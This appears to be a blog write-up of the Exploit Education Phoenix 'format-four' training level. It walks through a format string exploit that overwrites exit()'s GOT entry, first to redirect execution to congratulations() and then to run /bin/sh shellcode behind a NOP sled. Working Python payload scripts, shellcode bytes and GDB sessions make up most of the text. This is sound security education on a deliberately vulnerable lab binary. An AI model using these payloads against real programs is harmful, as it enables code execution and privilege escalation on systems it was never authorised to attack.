Exploit Education | Phoenix | Format Four Solution

The description and source code can be found here:
http://exploit.education/phoenix/format-four/

This level is very similar to the previous one, except now we’re trying to redirect the flow of execution. We need to get the program to call the congratulations() function. After that, I’ll try to get arbitrary code execution.

void bounce(char *str) {
  printf(str);
  exit(0);
}

void congratulations() {
  printf("Well done, you're redirected code execution!\n");
  exit(0);
}

int main(int argc, char **argv) {
  char buf[4096];

  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);
}

Again, because of null bytes required for the addresses, I won’t be able to do this level in the amd64 architecture. Since I know I can write to almost any memory address with almost any value, the first thing I would normally try is to overwrite the saved instruction pointer for the bounce() function. Notice, however, that the function calls exit(0); at the end. This prevents the program from popping that saved instruction pointer back into the EIP register. However, what we can do is overwrite the address of the exit() function in the Global Offset Table (GOT). The GOT is what stores the addresses of any variables or functions in shared libraries to be used during runtime. The Procedure Linkage Table (PLT) section of the binary contains the trampoline code for an executable to jump to a shared library function. Feel free to let me know if I’m not 100% accurate in those descriptions. I’m still learning, myself. Now, the nice thing about the GOT, is that these addresses never change, even on a system with ASLR enabled (which is all modern day systems, excluding most embedded devices). I won’t go into more detail as there’s plenty of articles that can explain it much better than I.

Let’s take a look at the binary’s relocation symbols:

$ readelf --relocs /opt/phoenix/i486/format-four 

Relocation section '.rel.plt' at offset 0x2b0 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080497d8  00000107 R_386_JUMP_SLOT   00000000   printf
080497dc  00000207 R_386_JUMP_SLOT   00000000   puts
080497e0  00000407 R_386_JUMP_SLOT   00000000   read
080497e4  00000907 R_386_JUMP_SLOT   00000000   exit
080497e8  00000a07 R_386_JUMP_SLOT   00000000   __libc_start_main

This shows that the address for the exit() function will be at 0x080497e4. We can also verify this by looking at the disassembly:

$ objdump -Mintel -d /opt/phoenix/i486/format-four
...
08048330 <exit@plt>:
 8048330:       ff 25 e4 97 04 08       jmp    DWORD PTR ds:0x80497e4
 8048336:       68 18 00 00 00          push   0x18
 804833b:       e9 b0 ff ff ff          jmp    80482f0 <.plt>
...

We’ll need to overwrite the address at 0x080497e4 with the address of the congratulations() function. Speaking of which, let’s get that address right now:

$ objdump -d /opt/phoenix/i486/format-four | grep congratulations
08048503 <congratulations>:

So now we know that we need to write the vale 0x08048503 at the address 0x080497e4. Then, once the exit() function is called, the congratulations() function will be called instead. I’ll start by trying to write anything to that address and check the results in GDB:

buf = ""
buf += "\xe4\x97\x04\x08"
buf += "%x" * 11
buf += "%n"
print buf
user@phoenix-amd64:/opt/phoenix/i486$ gdb -q format-four 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from format-four...(no debugging symbols found)...done.

gef> run < <(python ~/payload.py)
Starting program: /opt/phoenix/i486/format-four < <(python ~/payload1.py)
Welcome to phoenix/format-four, brought to you by https://exploit.education
�000f7f81cf7f7ffb000ffffd718804857dffffc710ffffc710fff0

Program received signal SIGSEGV, Segmentation fault.
0x0000003a in ?? ()

[... GEF output snipped ...]

gef> x $eip
0x3a:   Cannot access memory at address 0x3a

gef> x 0x80497e4
0x80497e4 <exit@got.plt>:       0x0000003a

As you can see, this successfully redirects the flow of execution. The %n format type wrote 0x3a (58 bytes) to the address 0x80497e4. Now I just need to use the same technique as seen in format-three to put a specific value at that address. For now, I’m going to put the address of the congratulations() function (0x08048503) in there.

Here’s the final script:

# congratulations() @ 0x08048503
buf = ""
buf += "\xe4\x97\x04\x08"
buf += "\xe5\x97\x04\x08"
buf += "\xe6\x97\x04\x08"
buf += "%194x"
buf += "%x" * 10
buf += "%n"
buf += " " * 130
buf += "%n"
buf += " " * 1663
buf += "%n"
print buf
$ /opt/phoenix/i486/format-four < <(python ~/payload.py)
Welcome to phoenix/format-four, brought to you by https://exploit.education
���
             000f7f81cf7f7ffb000ffffd748804857dffffc740ffffc740fff0



Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
...

Success! Since the address of the exit() function is overwritten in the GOT with the address of the congratulations() function and the congratulations() function calls exit(), this becomes an infinite loop of outputting the string, “Well done, you’re redirected code execution!”

Now let’s see if we can execute our own shellcode. First, I want to find out where, in memory, the format string is being saved to since that’s where my shellcode will be.

user@phoenix-amd64:/opt/phoenix/i486$ gdb -q format-four 
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from format-four...(no debugging symbols found)...done.

gef> disas bounce
Dump of assembler code for function bounce:
   0x080484e5 <+0>:     push   ebp
   0x080484e6 <+1>:     mov    ebp,esp
   0x080484e8 <+3>:     sub    esp,0x8
   0x080484eb <+6>:     sub    esp,0xc
   0x080484ee <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484f1 <+12>:    call   0x8048300 <printf@plt>
   0x080484f6 <+17>:    add    esp,0x10
   0x080484f9 <+20>:    sub    esp,0xc
   0x080484fc <+23>:    push   0x0
   0x080484fe <+25>:    call   0x8048330 <exit@plt>
End of assembler dump.

gef> b *bounce+17
Breakpoint 1 at 0x80484f6

gef> run < <(echo ABAC)
Starting program: /opt/phoenix/i486/format-four < <(echo ABAC)
Welcome to phoenix/format-four, brought to you by https://exploit.education
ABAC

Breakpoint 1, 0x080484f6 in bounce ()

[... GEF output snipped ...]

gef> search-pattern ABAC
[+] Searching 'ABAC' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffc710 - 0xffffc714  →   "ABAC"

I used a simple string (ABAC) as input that I figured wouldn’t be found elsewhere in memory. Then I searched for it using the GEF command “search-pattern.” This shows that the format string begins at address 0xffffc710. I’d also like to mention that I keep a ~/.gdbinit file that keeps GDB’s environment variables consistent with the program’s environment variables as if it were being run directly:

unset env LINES
unset env COLUMNS
set env _ ./format-four

Without that, the address of the format string would differ between running the program in GDB and being run directly (in fact, I’ll find out later that the addresses probably still differ slightly as I needed to use a nop-sled before my shellcode to get it to work).

The format string will begin with the 4 addresses (4 sequential bytes) for the GOT entry that stores the address for the exit() function. I took the Python script I wrote earlier and expanded upon it to add shellcode within the buffer after the 4 addresses (as well as a few other things to make it easier to write an address to memory & not have to do any calculations by hand). Here’s the final product and how it looks during execution:

import struct

# Address for exit() in GOT @ 0x080497e4
ADDR = 0x080497e4
addresses  = struct.pack("I", ADDR)
addresses += struct.pack("I", ADDR+1)
addresses += struct.pack("I", ADDR+2)
addresses += struct.pack("I", ADDR+3)

# http://shell-storm.org/shellcode/files/shellcode-841.php (21 bytes)
shellcode  = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
shellcode += "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

# The format string begins @ 0xffffc710
# NOP-sled = 0xffffc720-0xffffc760
byte1 = 0x140
byte2 = 0x1c7
byte3 = 0x1ff
byte4 = 0x2ff

buf  = ""
buf += addresses
buf += "\x90" * 64
buf += shellcode
buf += "%x" * 11 # Outputs 54 bytes
buf += " " * (byte1 - 54 - len(shellcode) - 64 - len(addresses))
buf += "%n"
buf += " " * (byte2 - byte1)
buf += "%n"
buf += " " * (byte3 - byte2)
buf += "%n"
buf += " " * (byte4 - byte3)
buf += "%n"

print buf
user@phoenix-amd64:/opt/phoenix/i486$ ./format-four < <(python ~/format-four.py; cat)
Welcome to phoenix/format-four, brought to you by https://exploit.education
��������������������������������������������������������������������1���♂Qh//shh/bin��̀000f7f81cf7f7ffb000ffffd738804857dffffc730ffffc730fff0




id
uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)

You might notice that I used “cat” to keep stdin open after the exploit ran. Another option is to find shellcode that doesn’t require that, like this one: http://shell-storm.org/shellcode/files/shellcode-219.php. Overall, the script is not much different than before. There were 2 big roadblocks that I came across while trying to get this to work. The first was finding shellcode that would work and the second was the nop-sled. I wasn’t using any NOPs at first but eventually realized that they’d be required since addresses in GDB don’t exactly line up with binaries being run directly.

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.